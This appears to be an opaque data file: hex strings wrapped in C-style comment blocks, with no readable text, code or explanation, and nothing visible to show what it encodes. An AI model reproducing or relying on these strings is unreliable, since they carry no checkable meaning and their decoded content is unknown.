f3094dd091eed94db0ee207e004d72409b24077eeef55a6e96dac85a2d2dc0178d1e9a7938665d42e27ee948033beb10435bd6af3bb8a179692037fdc0a58db3549af34145d2cafdb26a3f7e5be218c0a9201ae9a17c081f8570163d88953627002a1d62cc0491bb7c406f9c92817d523b7884229778d257762e5dd1976645185ab042dcc99481949b0364bd32a832cbc6ac3bbfe1b806beb63db9b4aae98b6f8980f864b13fcf8aaf1f0c104ed6a74273c2322ec0fcd59f86adb4f1dcb1b3079ea6a3df18737dd74302c15fee2f5a5e47db9f36b96624c32b191bd73fbc74276bedf015fdd31ef56ea61e61854eb288c0018c92faa49fac6e92d418b854071499fcd8db6576df0cab0d58c8a2eb943077d3d84a4f92b56303536f14d5dc0cc94725c284361b428438eeb39959a40471cef4b0dab71ee31593f84d9bfe460c308d9fdf875a238ebf8f0eb20ab789e0aa8ab63106a2dfacb73359d5d7062c56c3354003677a4aea1e9876f7e7cd8e3bf3208b47070008ba047fa9e62abd90d60b01acad142f079af03d272aba6a2dfc2907ff859c68c8c9cbd07296172fd7f55de5c7712d230dbe6d82f1a1cecad4f11200cf7d9b8599ee1f25f4b772e5faaa0038389b3f05b2916782ad5e4f65837e60cfb9df5c34939296a21ff0399a804ddfef3e7a05e9ec6d581f8d979b7aed5cd3d4fb7dee32989fc64d747409a7e258205885e941f594f0efead047e58bc0511c6469b0bead301f22019b803f8b97cb8c218fc5a26b96c53dcb5b63660d12a1f6af199cee36ef8*/
/*ddee6132e9ffd787e9a335942014b5d514888574b3f207aec46210279336f2f742821b46a1106460bd523c85d61a7e5c5d830efe8b26bde0cd0abc46313b524bf9a4c2c73081a48aa20498cab57c989a3deb3f5c5393778ce30b204036930aa763b26e86316e0f5c6a46eb8f764ca02bd1206564ee0481f51993096c84f9e0bff35cc49034da429103c9f87402d0fd6044943e91277a7a64efa9585def7035b9f4940cadb8e0f6d476aca73ec5ce611b5a3ad12c1cffc155a82afa385075293317aa89e36562dcc766ea1bf50f4a925ac87728bda9100842deeccf72f63051e74f16dc469a88a074df3b85ff3862ee56bf7d63d7783ecbc0a1eeb26b472e29cefaf0b47db249ed66ed54756af14c33ca6fee992a20d8b1f550d81733505dc11f807e293ce4e07a2b30cd27aa77d7068386bb3dab6c36d7722d1ca476b337fe366d2a33ef9c55b173aaf34d917c4adad9f19fc43b0c0b81a5ef38cf3567cb27dff17403731ad3d08b7800651fbaf57a4f2cf6664e8ff07b83bb340519211cd1e78ed01c39cb21dbe9f54970ba0c24e2c74dc8269c4ea99ab88d536c977abfbf87a5af1fd7e3ee334e0fc0cab942f62adb5722d6aee7df3f042f3b9c70eaba1e132ecc9c6ae2fd714d93799a27066064181067e7c09ccdd34a0d11161dc161e9610edbdab865eb5ee0d91b6b658d72b2494aa34e3eec6cdaccc8f0a33348a4c3c0c822ccd5ea390d8e62d9dd783baad05ce2a89926868dc73d150be6f5ebb8adfb69fafa9110aab2ba39e6968f511ecc60151e8a21e684035c5aacd1ba09b60d0c9c557e5202b88d0c9db8a6c69eb9f7113406b762a8220998b7c48ba54a01fd99e96bc7e0cecbde63e1d8c99517b351eac9e91988b1dbccfb17156c838b42938e15039210aaee9adf66bb911a6eef3c7b562bfc32f3125a792239292b9bf366515158b1026053c91f6aaaf988cc2acfde7ebb47817bef7c8375f5b51df862600676ac27264051d08df3aa4cbcf9a0769d25285e602e53b0f1d4d8bbbfc3d1650d91d26711cf85cfc60a5fd173a7dac719246f7efb829c176464810746802aa24d004541162688158ebfd2162ddcbb86ae7eee9f9fa6fe6b17c0eecc406c4613f9c57238eeeb099e6530b02e868dee3b6ca435500d3f5737c428a385948e5ac4b84e9913a8be6f28255ae076e14ca3931d15fcccc6c1fd1c2cab8a8f4c208c21edc13ad276654d9205d60ef4a5efbbb888de10d8d1d3a6177a0922dfd20c200709a72e452c6e84ae820f2bedd97438c4b667ad13ad4ed78d445a235dcc6d6bd344113aa3cf25120d499ffc924ad604b43585021d06744c7962ac0395d6a1566cd0974b20e12d05234b511a9cc76d4fb72e87e17ec740f3dc5016bbc779bd046cedac5296c7749652a6da6c2768b351d505179bb5921c1feecbf414267be20a0827e1c0ddc8d59baf9efe954680e44c3b481569e99968605a36180ae19ca8640628484251c144d404c197d13934710ed536f8de9d4de000faefb59b45987c4c539dea1796df2cce8de505b04e92ebadd70fefe8d2885e5b91118af4c3b01e0d954ef3c5ad17cdbfd271a96f98637b4ee645b263426fd7131a0a08d13789b9a72b620ee9310a086da75b02b481d9db9f5a9c317e627e4bc0a2460a153fe7ec9babf599fda8992ac25280b850440a3e74fe5c353f4aa59d93c4d7686489d9ce01434620f0828c007cdd112ab7eb2ad275e5ee05de76f5a2e419146af66e6ea67495982b0227f7fe2425ed7773d6085aaf5b4133a89a1f9542376c4993fccdd716e5fcd92ea96819397616e72179ef33469d400ba1d59b5a8f588e93607f4d88bc1c85579f5e377ba1ba8bfea0fa2fc3ff7241cee1126f7b42d1138002c3b2e278ac8aa01687ebf3e4a2d7a242641eb71df88a31b206140c12e6bebbe8b5ce796a167cd465b86d4b2c39bc955e3bf49a1fdbc4c6efce404161169a6188ac9fd42c1a1085d28990c4996f8618e63423c6c727c60bfa0c4188291f62c93efcb7024530cbcf6e1e62fd7f8b375abb0d80a2c7184852921c61a19685c27fcadba9abde3bf02f0209e200a0f2b2e9611f9a6f9ee40672fb108b07b33797ceabdf730d9bbffb7cdaa394f4407497f9a252382e3174e43ef83e1c0448dcc6325f71f15c3215a126aadafb7b4ce8860a4ef58edbd48bcf5579a00f064076b78c91391bcd263ffd9baf8ff776e962c2ca2df847f5977f6506075eda5cc15055348a648a36217df40911ba1edf61acf7db4804c896fc35fa5bddad25fdbcee2ed2c9c479c59da8f3b5c357df1550dd03640bde7e2acb3fe59f22973ce90c6afc2710e32f33e70a870575557c0bdf435991f82ad975ed1ed0a79ce2d3777323522a8d9080e47f45d294e383ef32b9be0508875ff012720077a4161a5df74c58f0795c1c3e9919cf359a2793d3dd5a2467bc3ea36e0740f6a885bfc822950d2f3c9f240431865c3e9205c42326f41e343ac0ff03c31ff14e60cd3d2d873440799a49034d1096ab50f317accee15e3c3120f85c7a9941660b5c508ef09cff948635679a68fbde4048f327d896ad2986a2b4e9c9623e051d64d8f04073d4f1b689a95afd5175fa96231f53fb0c8fe571b773f967ec0169d257e837a28fe35c91211e307cc5d07461f2472711c441a83c22a505c2576c4c0498e93970fb179d045706d10b07d0769d09631f84c30652cf524ee2b8533a7bebd6193574fa5109510931441edd4d7560ffa79d5da5713aa1a30bb1615b6a2a12553a781398de368aa9d862549a691b9c46b58a33ae23f579ee217e4c54464578e395*/
/*b04fe60c6629bf96e49d1b1c3f90f4378846fd9280b6e3e209af1941904d1f87dedd49c3448aeb9a705fea2ee659e04ed131f0f10a0a3fc3542bd0aaaaec48827a496b8d70bdfa6a646628b1268baa6e484fa4d597005cf1ff6d0431857d7481a44992d55bd8fc68db13a213a2a48fcaf157a9018c5b6d856839e512ecb8ed1a6b885ff325abf71330e6b57386b8a7ea58b9e2a2aef1b1b2917624a925e0e3d2322dcc92512871350e7fea1a272a2296301f0c774c55694efe18d16e24f6b3bbf9b82b43cbeb154f730ac4f818ad18cc592b1f37ef30ddf43ffc7af9c6c95fbaa51d8bf0e381e5b9683e651ab780ceb275825384370f2b30f5a7f9cb5b143b516da70b16878a77f63097628e7633d5ada804a42e288bc84ec343f23faa60133a1245db58f800d6e06d9e889c1110064f65221744b5d3e005b85cac2b8f94f6186d656056ecaa79882ce134d578b7aa523f72dec92157c397ed1aaf07397d7026e274eda8585601fe4ecbd42487af340cfbda620b866d32e1020731ceeaba8081b72108d87621ff3f1abdadcbb2b7ea6b79b731fd2efb036683a8127552f78bb640b2087ba3f424749c39de99a92da88dcdd7aa5af7ebe176a8896d04a754c2108e4176a3dbef36bcaea6d726a4732b12464ca1b18978d6fa5d9edf764419a593f1b0d47b34fb089c84adda59b5056b9adeaee7aaf300edee48efdb3408349eb3ab7308859f9012b16713966ed9440e071b4f648eb5818cd076768228e5169738ae65a72fe6a7a82cd02414c80ac4268bbb7bb3abf964d477206435d74f579f36733e3d7d6c103e11c738ed0cdd69336b48eb3d7184d9e6c11c1af5f0bdcc8d1c0892aaeda7768c8060fb9fcc923af976eb8b7cab3d181a8c14b1ffa5c7c4606285dde8d7f363036e173fa87d42e49731e7445438da9973e9ac3062140fe0bbc97d0b746a75505d925c9c3d1ef91629acc2c21a94aff9023f34733e94b077e40d02b4f18a7b740552e7f928b20574a2b824df19faf54e1e08700d667d2834e37c0c3b793d549863baecc2045c46f64b6319b1d40ecc68ecc2a1054b8c69bad572af15da0bab7a3d780fcbec5514f509d847e3a1c437032fd5f6b0e0d1cf6b371d19a4c7301a8e528b022e973f00c8c9f54426a64ec80b10a3cda01147c9021d459ee64bf7bb8f7a69ff4b9eb9d1747e6ec5f5f751d43ed37107a977c1919136a02d824bdf7d3973e23ea3825b6a77c570338bcb4367030e60dd4e55878a80f623ddbe718b491674ab4aea2fcdd16dc50804301334ecb7bdfb413d3355a17c911daef5b316c206197537c049a519538878d93850608d6aaa91cc69ab1b05647432523e7ade8151a174b9a305122faa180a7cb0a1faf777c3d4b847ccfefcc34522595807f0ae0154160a4803f09e9a4a461ae30294986efbbca8eeeeb61e04c062cd70ff501c0cc63edd899cda2e92d0e1ca859ea8d45eb4347d51c1e084c1a45da98776dce65d6cce87deee5e4d0678eb01cb1633f2f2425015e98f6a437095886f94ed2094fbeacafd1ee1787702864385e2f3595c6e318b08fff65badcd2251ce16f96897e1d95bf4777b50af07c08dca4ce76f1aee993aa26a202c8828fbe8489669347b20ecac076170e9456a4fb7f4164cddc1a5cb5f75354e7d46c20998bfa6f13ed243abf465f2199efc5dde09fe58dcc43c850adf7709f9c95e7b8c006634f3ab59be7cc7c4f990d3ff7a2e06aee27c04b1c19f41031beca2f204b072aa5aa9949a39f7fc1c5fb0db8beedb4eca3ae63711c79308eb3ab8c0e92c6f8c1f8903c0de043ed4fb53f4d13dd20fda6b87c3a0c177a41f313f5f1402f7c67a92ad7d059a7b720e2339a2c655ee94936de9196d69f8f11510a33dacc9eea7aab0315371b90dbc1283b7b4942dc8933dc44dadd6b64b50e15f9297216f2dd4fefc009ed919e41d915aa2a88a59e7c5cad2a695dd12372d445cfb03977bb3fd3da061c5f35c549f0fd2814a2518477f64ffaa5503d8713d34aeb03a19987905247fb2c8fc52dfd01bb96f48d92574712ac7b2c0fdb5e1c7d1fb4d57da73b67a7c56b4b6ed46db74f3858f15ed3b2761b203fecc53e4a649b52da45b4135b4a90b3a47e53547684724b8c1eb2c8eed8995036556236d1b6e4a2ca5980d6305d7357d1b82cda9a44363fb16ce871113dd7af23d24477c9f5637c7142979a2fc6065fe43f62717e29f74695fe752d682b30a71a9ce7a5fbe4650dce2fbcace6872852523dffe10e49180140ea5d8fc8757ddeb1e8c31bb466bdfaf3a40d45d8580947ab95a700809914478d4034c9319f452e8967dee66039df065a65df4e34fde3a15065ead67c5ded84cfc8355996481b76d8ea8698d687d047f6171acaa588fcdd1e1d522c08f55fc583d855f22b5cff6f3999c97ebc8bb1cebfd6bd748d7692b822b8f32b7c3fe9d4f85e5778fa24fa389ea943e7a910adca2f9b43a4a89be089fb15a93ce1d85015b4b04ab40a166397bdc04f46b87f62cd498f629dc0cff2d3623c70fbe949c89a6d882e2ef74663ef0fefa6b09a8195e23aac05b47aafc2aecaa678e419741880b18d1426d1b5ac10dfeb4180476601da56365663ef65a98d64c11dee4da4f6dd0442d816d34ea995ca5a5ba9360833e9dc9e744c5bbddf6ca09a6a98d676541a14b78a7c290f6536d1e06532577cbc5f77b59af84d8538e71220e494954f8d9ec37c185f509524599f85a33872924d9742166e01a24c0171157957d024134c72ab3c41cce8e8967e35d056c651e34bfe6c61eadd071f1aa904eff7c63a783729c669b56f05c0364*/
/*fdfdca787adf4b1bff1d31314b791d12f9e51d64638977d7ed6c640c92fdae99195e4b2dc26e1f87ad60c94edb801c31e5296a82e94ad8fb88d637d876f026646cbbbe82804954026726fad6672032b1c732df55b8e61b9d2754b76817720964f42206daa870c59293e4fbd575a3726bbf1ef6452de23cc2a0910b22b66b25511477af75d9d889c42229c5e8e7da0b0d5e6fc31517653982a51615dcd9574f66d2b338b5ba81b1c0c8552f614685e93b7e2b85f068dca1c042aab24bfd4165a4a61ef60538dbbcb89da19f1c123e305aaa9aa4169f13480a4de5da5e603bb4d4dd6698fea5abd5d2b8c4ed836dbd17e24b0a7991f1285fe87710e49adbd3995664e447dbbb8c4e0bf2c4fb8c4eb938185046ce1b53a6d6980306d4265cf721109c3f96fce7ee2186001fb982193a8bd2cc28011a65a30c8472914a639871b2425fbb496fef924d3317c0e7b3d8959d9a67b78821ad03b242780b8e77e34619fdf253936bb3ef9f8a6402b6dab34a3c86978f2741b7fd0dc6d12f8874ad76aecab6221b1d7584375d950234384a7e81ba4bc58c228187e6f724b493bcdc39508c630da4299a47b46bf9c91006404d6b8a089ba7cc91975bf9e7ff028b34d696540d8689f0b11c9dca08ed0cf35648bcfd78afe23e863d9a8ae8b1c26a9236b45dbe37c46506bb83a4c5ae638897e56b37663f314105b29f2ef7c97fad5ab9564ac1952b5b4059336baead6f0db8a82e2b0d629681850ee7bba2ff9faf4d511c08838942d663d545e4e9f0b344c2e8fff2b0a0dac8f54f1ab92942c64cbaee1c7d64d1dd7c39e54fdc9e714a4402e98e0923eab84948f939426f16dc5582625fbd824efd171de0280a57666198f9732f9b7b98a992d11760bd754284838d53fa296ff3d79f7c196cebbde8f754be153ed6808fe022d751cd50880f5bef6777790dec473fe88e115a4fea0ca1cf58ced3c1f9bcc319c17cb48d00b638c78fbdf237549bf61968566f43aacedaf436638a7b1ff02d84a8c50c76a5c33ab6a08a9d0e3cc2f4482e9278580b0c2d2a5f5f91d744b7e6579e97f2845c2a9dc7c9f52349748d240fa35d8b87ff2e03f1c1be790fb6103a768709b9973992b449496222fd2158cb273260b8d4bc09a954713568383b5675bde92de4bfdea881457f3fd80c12e8dfa744388364f4c09856cc27a0debbc08e92cabef431f6df64810be88f6004324cd52ff3e81a6ae78e1921cacfe12759d1c8d74ebf260081931092714af06a91842b59478128338f5384d9380c7e3962567278bade191c70f8bd7c36bbc6533b2a22f1e335f4903a750f9021af65262ab8e24069cb3c7f4f40b23e88768b901ede6b94026663db6ddae5b8b37f10fab1101fc167ea5347c36667b483b9459a36a4eae248d74797e62cb983543ce835af939a2c6affbe78e267f941e9a2455d789354231c3348a6a4427500c45b44c4458248e28f5b133f407acbc47345a79d92699594c39dff752facbaac8bef97d792efa3538998ab96d09332c5ae37eb545cb7bc531510f6803d7a66d7b85fc8dc7d13639fae503db2440641e4b4fede8cd4f5356a1f8390e40c43124a1cb04a41be5ebaaac623c9824d88d3c18b7a7aef9fc032dbffde6614dc536ea208222ca6ec716ba8eaaafb42d698d86852aaabbe936b90b3cbbcd29f4c8786f057957d440faeca85074cdc596e22b1295b2e0568d45b05bd48cb7fd351696fc9b38e118ba13427ab19e44b5113be000bf8d70a332cfb41a24120f6d402dd83e07b0c940d03e32db34f01b77773a7af988f530c05c616649fba009117d3661faa484070cc27e827f8266ac6e49405cdfbf9e81608633f55f1ea78d10b2c00dfd6b53bc7266f5a194e8f53ec87d244417ab52efe5452efd1810e3ff63c48159216c84e9e14b44f91ff9c1a39c3c49f911a836e9498dc1cf5fe0f2587d1f18d56cda5b2e77edbc27ca7647b3b8ed58101220cf01845b712ed68b4f5f0f26beb8a4be299071d90292b4bc60471443e6998ce9fcaece795114acbb56e5e0c47f2205a736165a9be73627fe889bdce59bdee146064f6e6499c6fee24f36f103fccdf7cd0cc685be7a328d2865236246c50189ab7953fc1ff1795c659c2b43077a6f9bb58a93380a7f68bf5a25b909337a40f024437468f68cf1c3e89b876c4e6432191c44d04903254121d26e4f3f8aaadb2d3369c37072a8f41e8d68d61c72e92aa0fab0470d2f9abd2aced987f07c2008b7639d64e50144b9b2e70aea3cd8c0a194a558cea221fafc5cc87b26e51d4b8d0326e377bef38d0775b9fb1a8781e35a9b937f268f6a758c1bea5331be5ebd721db15b8f6ee7667c42a1b3cd8479c61a86befe1ee7e3f16cd4726b7e11ef9ddd2a78afe0a88e905cad501fcf69df48e4e867a4b4218ae3e927df129b450db23d19fa475fa5fcd46f63eef449f35d3ce290fd7b2caa7f4b40767fb12168ca4411e41b85cf35f106a41c4ab9553f2d1cb01895675ff01aa6a8d6388383fc890e992b771c5b6cde31c1098da37e9d18d7d35f94aab5594aad73ffda9df81fbe16975a8d9ff8eae65189a622108e2cc9e46a6b40d591960e8dfcf3a5a746fa9f1de81d0b4a67dfe86847cb19cd09ee1fafd1a0538a90bf6d83a769953dd2cc54ce3d6ea326ed5fe3798791b6e46d71e78e33677ee48cde937b37b36ea1ff600ff6b010481e3bf7698ac23fbff6a080aba34c88ff085dabd0e49179f4ae7317c9433a4c377720c149806793e85cf6c1abe37a34e789246d136c340f0af9442a83fd1a0eb9a84a3d841fab6bbc264c106dcb9010311eb68*/
/*598731eef097ce34233c26eb0e9ddc488c6b9d9695e2a5508c189eb616b4f7864c0697e8a31e98c82c1cc994d784137d67f8fe79404e5d587d30e587b53cab40419e314a16601f4aa3e39790d19bcb094e3e1e9db30acf1164d2e570c9d0588732fc3ece110e7104f030d284d04668c53d1bb78b789751107f01ea12f2a0a059eb929cb794ac9377a1addd534f23f544a85d60996251c9d0265bce89347da9db6c37c2e667f1e0304575c9ac366572a00517e66c5a714468cb11a4894030ff7bc53033a3d930655aedca4b18eb1dd81c521167c45ef5b1501abd5643dfd36c83c106a2dc4837fb79a075f9667e17d5146cd85bf6e528a394c659d23258ffcb0b49851236aed83ff43f543eeac796608f1cfcc8da571b080e2d24f0e1679d72f44af5dd5ef69ceef4f9e334d42184a83c1eb35ad3a3f646c23c8a89dc03c2a751ef087483bf9e61d053d88306b16e71f54a6716bfc30bab8cff405ded768dd7cb8fa46c1d34ce6ed39256981326f4d0ac343b29b2494c009b4cac1718b94f16551775d6f328c7ad13650e833bb5203af53c9ecc787ddfd998a752c5c8ed0b1ae62f111f7ca75ec9df840d0e73550d1f94c2b42bca9d0ab60c673d40bc80410cb142f9543c5c295844a0521cd6fc3cb06afc4371647425554a22eaf2f866a93d8aaaaf40553e2b14bc1f0f20a0fcb67ab84b8b3c3499c3133168dd34d4c40a01352b35259e70f879ecdb607d2fa6f8a54025deaac0fd658ab3d6050843bb18513490d0f4c1da9e16dabcb942126ac3eb81a95d8aa5989d785babbd2ee75ea65521f47c5e555a6812d382ab667e8c7f12eed2302b3828739dd02c463ff90dc78e5ce385e323da42d0f4652b5d70720044262b5677992e2872eacace403798a215b0fcf741a811d06a414e98d4fcc9aa0b851fe7c3daeb5f91eca2ef15efa372a8d146353ecb70a22422ef13925a73b7ba5ecfa31d3377e49cc976dc4515146bf3564adf3d453dd9f51761178751fa56f097afa3a19929f8eb42558e73467c3a6839496b31c95ead81ab1297b66be129a719e19acc75c04cf8f0e7763e87aa89b79656f074f470375d8243b72f68a0edc7b7b5cd261dec9f02c827f44bb55a9dd9bf8509ce3949546553ae4c9d27dad884002225a4d314e08043435ff6208f674ba36167c4cfd07ee65031faad08cb999acfbd7c9efad6203be06cd2cc653154802e9dc7d32df49a4c7b12f1ba5acfe6238c6517f0c2a32e7e65cd45c5709c3d5b12abb2b88240fad8cf74e0d7b2ef7bcf52823f14e1c6e74d914a6d142bf66e785d7155c58e07a30f85a69ad6be6968df70a919113fe21dfac5c58891c3512980f27121d088986ed9c4d466748a9492b75752cb2e305bb7311451f4c5f9b21ba1a68ad1e591fec53c2e012a7cc6aa9b4e540def3b79627588596097f137f059b5828b51fc1d62932e390fb3118259786bd7a01477bcad62be7ee6e13bb607a3506b3fe4d760e041c7e1532b10ef1fe990c85df5a742b1b6e6735486a2ec7a141aa4607cc4b31430c959ec25af902254e246002de617b110b9771a7b712b3f326211fc886a9b001bfe099cc363e977cc87cc14f0f3f73ed7130a96e349b80832c74549a557fced6754aee72f10f094197879c453b9c041d27de5700cbcb56e2d08596a9cfb53fb77dbdf15a4907e359a8cda57e9a8fa3873962b1bdac427d0d8ad738f1d6e5ae9fbbc687acb21dd599163b5515ee672264502161e9683de1d1cd4a15d833aac6798ad171d908d99ee179c544038f33b4ca9139cbc743e49c362489ad7fc37b0f13956342f60b43e24df181f18a152685fd4b137a375a2b753fba2719ede96a27ceb830e814c8648c8e21cda9277e33f0e156e74dfdba40fef44ae9869b342f0e27275fd852c925f19f476c5e2acb83c409e8882ad767f3c61d466dd8b03270afb8303b8778593d2b96969ca736a541a40783c56704c47cb6e663afa9d8f8299e3d5c9ecc28a80afcc2a8e1b7d1393764b8d36d49babf2573421343f9f8d6efbeeb3b711e75ab3cfb4f4d5520e5e7528ca98268a10175d20d30a30f7f3ab660b5833234c745885259b533e4c7d24df92876cbbe1dd5ae6c9f632fab41f579294d9538457948fecf80b915a44879233da21c74db7c9d5c90d5fec46a6f9b30edb677cb484545b80495d0a23d5a7f9c01f544b2bd62acf6068c5112385ae218fdd267ea62a75da41b7321da92cf073586466d1102e1d94d90711625694d171d4fb445a0fb814b54353ec32c861e533fe3771a2150fa44012c01982b4f415a9ce9aa5949c89264c2369d5c84a76e8fddd03e1b35b1a84def00db156340ba46d23d48ac2e7eb96183fa5c64d97b023446c728911c2d1f3706a4425b955b276ed24886634e3c66bdd75c70a61e124da1095e2b71aa5dfbe40b4b938e8a4bdcf4f90a14e96dbdba2dbc7ef3e8df497c7cd367c2a4b22c5a7dbbcd3d179c4dc51bd551d86ccdc778425f0a8986177949b9b28a93c7de9e6918aee623a75f0377343f2796389a0e70a00fc9a1ae97b86adefea29831bffcd8fc122e9c6be3d542804e0a99438b9e4c33119ae68b2f3ef6b199f172761ffe9879c11770ea4af145a68638e334c91a8a8206e7c7dbb2c34b4a8a38a44727153a070ab9eab7eb3a5b082c994bf476b050f0cff6a820f70ae69eea295551862498b04936cc232336a22bed889184e795e446df08302247e1fb282e2394beb0cb523b731dbefa9165a2743401419d071c21e7c19aefb20d4541e452c84182c0c489e5c1115a8c645a756f6b78a9c6069501a6832392ad88a2a*/
/*bf54f6675f0209106293629ea488e615c54aacd1aeacae8a7e12d770a7056c38954c6c3a0d530501680424180d6b15a79b51e7f577347dd071a0e62af9b9bb91d566df32e197399d500364c15c01c91ef2199a993d9ee6194046814cf1c89a2ed6b02030455d4da68ace1d081afe144c09fe5b0c802de0966b7d92cee1543b8d1fb65d3b43c1ac5892efc53285423f8f7d1061e3546403e6aab745195790f63febeadfa3fb3283d7045520081d5d2c81aca3c65f500e76de9a636dec4a5e4a95c1b4ff8c6bfa0100b4b21349eb4bee9d306d4a77bf75792a30f8a8ca743661daa431d559a3c6695ba7d6caf0eae91eff212e89a2b950d3b4cc564fcf96025748ae75cec68898f0535c81177e6b5ba0ebfe242cbd6f17ea083cbe994b4ed04ab25e8948515faf7a57aa3c139d00cc658669c7850b55d38d603903c5385ead59605f74b3800ff87c0ea657a4dec81fd2da082f776ee389c04590adbb2d9cb39d93bcccfb1dc8957ae9908a484b66854d97450c82cc9ad0f413758012c02fa6c48534f4a676bcc723f4b8665bf03e437b9f6dc7353dd3d4515b436d8aae9df1c6f1564021de39a6e0ab2145f3db1621c8db92e9f16681e7c3cafee06177c50e8a61566c2352031f4dedd7e60c4b9db50e4184dacffeda1377d67731979fa1895e8e0c9ad4f727a63242d1802012e4208f9e80be8c52fe17e01053dd55a65e12deefb045603a54eeaae00e7b2e9541a1802a3500f3db70b6b462d718b0208ec1cbc5d35dd1e0c41714059390a9d9848d033dd11a870c4628f1f8ffd9b73778a19f44eddb20cb94d9b95ff5e11cb967b982f93433bf2e8bf2fba3dee0a26555ca9bc3897f9ea8241a25a7043e66d9ed787a7ab8be3dc5e86197763920d230eaf53e623bda44c620cd155aec9d63cf92bbb3f79735a5e24294871b203434b46afda39ec2c50bd6b288bb503a64b20073cd198857bc5a39a90d555ac2990e8e85f207ff063105aaa9fe6fabae1c5810066a417c5ac969530feca3e209b160433794b55a6642eac38457bdb794d8618a9390b372f60c1847f8dc7248b8c5279b8db069cbcf6ec0e92adeb528ace55fb26cdf17e222ad471ff18eef4a8925c2eea4fce543e33f358c507e75c9529d6c7d10d53928487c0df80d52633eae77c10d39f044cfbd40888500abd3cc9ffdda30f863bda70778ac35f82d367851210a13fb8d552eced76e14c724687f0bdc7f7580bcca7efef3edb8e9c24ceeb85fe3d16895571f89dc7d2aa3bbe173e33630151c4c5d8850d28ae8c506f194ce35c6032b378d3a638e365d0e16444959b21a1d9663521914b131ffc8e214aeafd45c64b54309150b68395620b32a281794a90e11cc2f75974d510a49ecd0a4a9ae8845cc6768f997100640bfb1016bdc0798df1314baab763d0f47e206735f6cd4daa029d08f8262445b6a35ee72b2e5259ab43280897dd1b502d088b5942d549e0297650bd8cae8f99354b28ce3572550503e292458f1e0db3751fe3c096ea50e6935f32989e4b044409b09c4d4c2d9488cbbcafd70534d32532da7d36938707d945eb17c05d583a54ec88c2ae800bbc7d3b665e8f2818f44d0d0bc0ab1f43b4dcb0f10672ac8da3d8e587b16be69d4783f368a02173b3f23fb3659ff73c786dd4656538e3b7e1701c011d658269103613d7e63d4a0611112b35afd3f674ad76917b990977b3642424df24102855c06bd90f6b4f46b1e7617fe15e06cda923b71e40d849aed4883edf3a2c2a5cc1156b12b5e1415bef4bc23bb29038a897f06db011ccc0fb81c9d9b70512a838cb62acbc3093141e815367e8a58d88370ffe323df1b0fd0dd45855e1558fa14055af035ccb2999c8a94732c909eeca2c6456a92c85bc8c8e6b0878f5a1bdff3c110f7efed53ed4fa66e798da6905c7951956413b4b91f5708abec132f857222a5d0175b3804eabf5998efd352ec8e7c5fad76243dfbac597ed385006718f53a7cc536426a35ffd643897fae081d0962c5d4e935d56e53071313d4dac508ffc66249d4a5f61142fb3926ffef09e918029f899eaf832b0c92a8dac3b7ae6aac81f6c83ecff0d8543342c9f50907d377e0dac8238ff7de175fa903886159de511663afe0792f0507bbc58af505e27cb818148df1579ca353a4152a388a30626751e05294cead8d0caff61738e2169d85a9f85f3e3b7f3e13adb15e0a062f46426d9200f013211e8a81e603aa515607b82b83b8ad34666b90b707e5529f61ec4c1b3616ba6e51e3a0bd45aab08d194ec8c7a4a188d3704b09455db19873fe1aae62aaf08019b564fdc3b6390fb147b20d94c9146c37760ea09cd8cef8bd58e79eb0ab60ce629134b84fa6db0c4fed39fe8d0e8636b8366b5d0d23d1d54e0c037807477f255deb1c5d558e4d73d6adcb73ef90dd4ba556b4e2494bb3941e011dcba4451073b78fe2fa082201272a8a594805d55adf04cc4a3dd5ca66e16595473fe05c63d5c6c4c0704016674ae41e6dc1d73be785e6531ffb27e21b7bddfeae26e2d5cec8f87736008f129b3588fac0c6b22ae428e081013ebdc6ff80ca5963733cec390b650c323b796a8a04649ab1d806ddbcb22117a2dd815295b571c8da340d70317660ad51619619de25a95acab82123e165ca11df7694e135bcdb594d17222eef786105bd0607f788da354849cb64b31a915b27e5599c9be76dd399f5b6b7388ca5c83163abb76d466ae74c043d1d216443526dd9e1a81e82c470d050dc9c7d33cdaffa56c30d0166b845943ecc554224e7420b2e52f073373be8dfb36d81ff2f59195f25cba72908*/
/*c6a9998f7083d4f711e225b53c37ab2bdb732ff4aa458437e64be191d7cd06472bc6889a4b741fa0913ac0530699173f4561b748b14b3301314952d820167a6ae7c276dc6c5fdd9a5425d11d45a870402d17461b46a0cf1283e8f6edf870e1ead5416a1e5784422ba2791206abd360d69404507d30bd83366225cef634470c05be77ee1585b5aef5a5e835a39eca095ac9b8d376f82ce0a833e568028a6d1fd79be65eee02c5a653cb3b1bb6c69979f41ad701b2cac9783bc8f7e608593fd7e4d40ab01953be3db4dc807d6dcbf49c0f7d9ab33ff6bf9c3b9d5179dc8ecab0f090a7f5d270623a2c79cbba9bd8ef653f9a4407f493b1b6595accaa9c64f0cf6c839df1fba27d5a9c3f5f9f6f25d41be26215433fdbd4fb46f34cd45f4852159e86edd4f5814e92378dbf54eb7348b9623972138a6762eb562b3e8ccbdcdbd3d65f88855abd670aefd1588590efac49713ef40b4512a257fd2080c9c91b70f5967f14a56d3e30d5a36660713c4678be84c5a48579934f26a9ce97827c6a85e76d8828e7149d801a15d708b121b60710f411efa023635897ca3ce9362619594c0f302de6b0e8fd133186359926112c34cd9a1e8fe572c3458e0de6c23d41fb3d3324677d61ad1507f9c2634da2e38b3b4785502915ee1f007ea9d1e554eaf443a8676cae3a9dcf247d9f80615e149427e8c6b62d647564ded9a48a319ea852a3c203e77fecccdf27096671bb5aa790bf45ae56a31e94cf43daff40f8291965a71c2ad699876b283b120c1fbb94e6d38c72b79ba9d42d00b77bb5c259673c5f5cef34af0ddc1e99da6c79e1fff674e64ba7f26e68da923638e4ae39a52885fb16bd665c255b52734608a80d8318285166fe0fbff6248fb178cf9b709f7d1ce957f0690b81090e944430f6c2611bd9ad47b998a9af274d53a324abe28286cc1946a62a3e8ff1035557a6434e7261d144428837b1e870b2dbb1838a08a871f957a05d7df7ee6927408b76f975259f62e1f72fa2ec852139b94561f07db7cf303a61a16eb625809c23e76da1ec5923239b485530a25f4209cb295d5ed2d31ddd6ce922fbfd7846eb892b98d9c79f0008276f23f8d82a4bca5ff2beead21c10623e102f02477193ed59ba519f1b402855b8b3005504ca0dd1777b0105ed5704e0940fdd8af6b9b7807b1b0cdd9a680c15fd5bc453b7798c66dfb1bd740887006ab4b06b25fae48e7c9750155fa260340a79a90ee76596a68649420d152c8f8063024b3bb25b145bfbc9a03cd6b06fcedb67ab1efde4e6589b6af3801688b770da64131af26da88fae1f8cd7927e6a862aeac4adb95921edeb49209801ce4b53358b6df30cfc2128629fdbc3613790a695d9cc0662f7a4238164ee07bc34bea190096f76ada34586e33ff9b20961f06371915efeeb4126789cfb319038cad1af